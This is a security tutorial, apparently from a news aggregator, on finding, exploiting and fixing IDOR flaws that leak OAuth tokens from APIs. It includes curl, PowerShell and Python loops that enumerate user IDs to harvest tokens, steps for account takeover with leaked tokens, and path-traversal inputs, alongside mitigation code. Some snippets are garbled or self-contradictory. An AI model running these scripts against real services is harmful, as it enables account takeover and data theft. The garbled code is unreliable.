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Introduction
Insecure Direct Object Reference (IDOR) is one of the most common yet critical API vulnerabilities, allowing attackers to manipulate user‑identifiable parameters (like IDs) to access unauthorized data. A recent real‑world bug bounty report showed how changing just a few digits in an API request leaked OAuth tokens for other users – a flaw that earned the researcher $150. This article walks through the exact testing methodology, provides hands‑on labs and commands, and teaches you how to find, exploit, and fix IDOR in OAuth‑protected APIs.
Learning Objectives
- Understand how IDOR in API endpoints can expose OAuth tokens or other sensitive user data.
- Learn to use Burp Suite,
curl, and custom scripts to detect and exploit IDOR vulnerabilities. - Master mitigation techniques including proper access control, token binding, and parameter hardening.
You Should Know
- Understanding the Attack: API IDOR Leading to OAuth Token Leakage
The original post described a simple but devastating flow:
1. The tester navigated a web application while Burp Suite captured all HTTP history.
2. They identified 2–3 API endpoints containing numeric or alphanumeric IDs (e.g., /api/user/123/tokens, /oauth/refresh?id=456).
3. By manually changing those IDs to values belonging to other users, the API responded with their OAuth tokens – without any additional authentication check.
Why this works:
Many developers assume that an authenticated session is enough to protect object‑level access. They fail to implement server‑side checks verifying that the requested resource (e.g., a token) actually belongs to the currently logged‑in user.
Step‑by‑step guide to replicate (on your own lab or authorized target):
Step 1: Capture traffic with Burp Suite
- Configure your browser to use Burp proxy (default 127.0.0.1:8080).
- Turn on “Intercept” and navigate through the application – focus on pages that display user‑specific data (profile, settings, token lists).
Step 2: Identify candidate API endpoints
Look for patterns in the Burp history (Target → Site map). Filter by /api/, /v1/, /graphql, /oauth/, /token. Pay special attention to requests containing user IDs, account_id, uuid, ref, or similar parameters – both in URL path and query strings.
Step 3: Modify the ID and re‑request
Send the request to Repeater (Ctrl+R). Change the ID to another plausible value (e.g., 124, 125, or a GUID from another user’s activity). Also try:
– Increment/decrement numeric IDs
– Use `../` or `%2e%2e%2f` path traversal
– Change `user_id=me` to `user_id=admin`
Step 4: Analyze response
If you receive OAuth tokens, session cookies, or data that clearly belongs to another user, you’ve found an IDOR.
Linux / Windows commands to automate testing:
Using `curl` (Linux/macOS/WSL):
Test sequential IDs on an API endpoint
for id in {1000..1050}; do
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
"https://target.com/api/tokens?user_id=$id" | grep -i "access_token"
done
Using PowerShell (Windows):
1..20 | ForEach-Object {
$id = $_
$response = Invoke-RestMethod -Uri "https://target.com/api/user/$id/tokens" `
-Headers @{Authorization = "Bearer YOUR_TOKEN"}
if ($response.access_token) { Write-Host "ID $id leaked token: $($response.access_token)" }
}
Python script for advanced fuzzing:
import requests
headers = {"Authorization": "Bearer YOUR_VALID_TOKEN"}
base_url = "https://target.com/api/user/{}/oauth/tokens"
for uid in range(1001, 1100):
url = base_url.format(uid)
r = requests.get(url, headers=headers)
if r.status_code == 200 and "access_token" in r.text:
print(f"[!] IDOR found for user {uid}: {r.json()}")
2. Exploitation Techniques – Beyond Simple ID Changing
Once you confirm that an endpoint is vulnerable to IDOR, the impact can escalate. OAuth tokens often grant full account access, enabling account takeover, data theft, or privilege escalation.
Step‑by‑step exploitation to prove impact (authorized testing only):
Step 1: Extract leaked OAuth token
From the vulnerable response, copy the `access_token` and refresh_token.
Step 2: Validate token scope
Use the token to call other API endpoints:
curl -H "Authorization: Bearer LEAKED_TOKEN" \ "https://target.com/api/me"
If you receive the victim’s profile data, the token is valid.
Step 3: Attempt long‑lived actions
Test if the token can:
- Change password / email (account takeover)
- List other users’ sensitive resources
- Initiate payments or transfers
Step 4: Generate proof of concept (PoC)
Document each step with screenshots and raw HTTP requests. In a bug bounty report, show how a non‑privileged attacker can pivot from token leakage to full account compromise.
Tool configuration for Burp Suite (improving IDOR detection):
- Install Autorize or Authz extension – automatically repeats requests with different cookies/headers to detect access control flaws.
- Use Intruder with payload positions on the ID parameter. Set payload type to “Numbers” (sequential) or “Brute force” with a list of common IDs. Add a grep‑extract rule for `access_token` to flag hits.
- Mitigation & Secure Coding Against IDOR in OAuth APIs
Fixing these vulnerabilities requires both design and implementation rigor. Below are proven countermeasures.
Step‑by‑step hardening guide for developers / defenders:
Step 1: Replace predictable identifiers
Never expose internal database IDs (auto‑incrementing integers) directly. Use UUIDv4 or a hash of the user ID plus a secret salt.
Example (Python):
import uuid user_uuid = str(uuid.uuid4()) ex: "f47ac10b-58cc-4372-a567-0e02b2c3d479"
Step 2: Enforce server‑side authorization
For every API endpoint that returns or manipulates a resource, verify that the authenticated principal owns that resource.
Pseudo‑code:
def get_user_tokens(request, user_id): current_user = get_current_user(request) if current_user.id != user_id and not current_user.is_admin: return 403 Forbidden return tokens_for(user_id)
Step 3: Bind OAuth tokens to the client context
Include a hash of the user’s session ID or a unique device fingerprint inside the token’s `jti` claim. On each API call, validate that the presented token matches the current session/user agent/IP range.
Step 4: Use Indirect Object References
Provide a mapping table that translates a user‑supplied reference (e.g., ref=token_abc) to the actual object ID on the server, then validate ownership.
Linux command to detect insecure API patterns in source code (if you have access):
grep -r "user_id\s=\srequest.GET" /app/routes/ Flask vulnerable pattern grep -r "/api/user/[0-9]" /app/views/ Hardcoded numeric IDs
Windows PowerShell equivalent:
Select-String -Path C:\app.py -Pattern "user_id\s=\srequest.GET"
- Cloud & API Security Hardening (AWS / Azure / GCP)
In cloud environments, API gateways and identity services can be misconfigured to allow IDOR.
Step‑by‑step cloud hardening:
Step 1: Enable API Gateway usage plans and API keys
Even for authenticated routes, require a secondary API key to limit abuse.
Step 2: Configure AWS WAF with rate‑based rules
Automatically block IPs that send requests with sequential IDs over a threshold:
Rate limit: 100 requests per 5 minutes on /api/user//tokens Action: Block for 1 hour
Step 3: Use Azure API Management policies to validate resource ownership
Inject a policy that checks the `user_id` claim from the JWT against the path parameter:
<choose>
<when condition="@(context.Request.Headers.GetValueOrDefault("Authorization").Split(' ')[bash].AsJwt().Claims.GetValueOrDefault("sub") != context.Request.MatchedParameters.GetValueOrDefault("userId"))">
<return-response>
<set-status code="403" reason="Forbidden" />
</return-response>
</when>
</choose>
Step 4: GCP – use Cloud IAM with fine‑grained conditions
Avoid allowing `allUsers` or `allAuthenticatedUsers` on Cloud Run or API Gateway endpoints that expose token data.
5. Training Labs and Courses to Upskill
The original post mentioned a lab (“the lab might be of a different style but it’s worth a try”). Based on the shared URL (https://lnkd.in/dU-CtJQT), here are recommended training resources:
Free / Low‑cost IDOR labs:
- PortSwigger Web Security Academy – “IDOR vulnerabilities” lab (authenticated, realistic API scenarios).
- HackTheBox – Machines like “Jeeves”, “Bounty” or API‑specific modules.
- TryHackMe – “OWASP Top 10 – IDOR” room.
Paid / Professional courses:
- API Security University – “IDOR & Broken Object Level Authorization”.
- PentesterLab – “API Security Essentials” and “OAuth 2.0” badges.
Hands‑on command to set up your own vulnerable API for practice (using Docker):
docker run -p 5000:5000 -d vulnerables/web-dav not API specific – better use: docker run -p 3000:3000 crccheck/hello-world-api then add custom IDOR routes
For a more realistic environment, install OWASP Juice Shop and deliberately test its `/api/Users/` endpoint with sequential IDs.
What Undercode Say
- Key Takeaway 1: IDOR in API endpoints remains one of the highest‑frequency, highest‑value bug bounty findings because developers consistently trust client‑supplied identifiers without server‑side ownership verification.
- Key Takeaway 2: OAuth token exposure via IDOR is particularly dangerous – tokens often bypass multi‑factor authentication and grant persistent, wide‑scope access. Always use short‑lived tokens and enforce binding to a session or device.
- Key Takeaway 3: Automation (Burp Intruder, custom scripts) is essential for efficient IDOR discovery, but manual reasoning about business logic gaps often uncovers the most severe flaws. Combine both approaches.
- Key Takeaway 4: Fixing IDOR is cheap – using UUIDs and adding a single `if (current_user.id != resource.owner_id)` prevents thousands in potential breach costs.
- Key Takeaway 5: The $150 bounty mentioned is low relative to the impact. Organizations should raise payouts for API authorization bugs to incentivize responsible disclosure.
- Key Takeaway 6: API security training (like the lab from the original post) bridges the gap between theory and practice – always test your skills in isolated, authorized environments before hunting live targets.
Prediction
As more companies adopt microservices and OAuth 2.0 / OIDC for authentication, IDOR vulnerabilities will shift from web parameters to headers, JWT claims, and GraphQL fragments. Attackers will increasingly target refresh token endpoints and cross‑service internal APIs that lack consistent authorization middleware. Within two years, we expect automated IDOR scanners powered by LLMs to become standard in penetration testing toolkits – but human testers who understand business context will still lead the discovery of chained, high‑impact flaws. Organizations that fail to implement resource‑level authorization as a default (instead of an afterthought) will face regulatory fines and class‑action lawsuits from token‑leakage incidents.
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IT/Security Reporter URL:
Reported By: Akashsuman1 Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
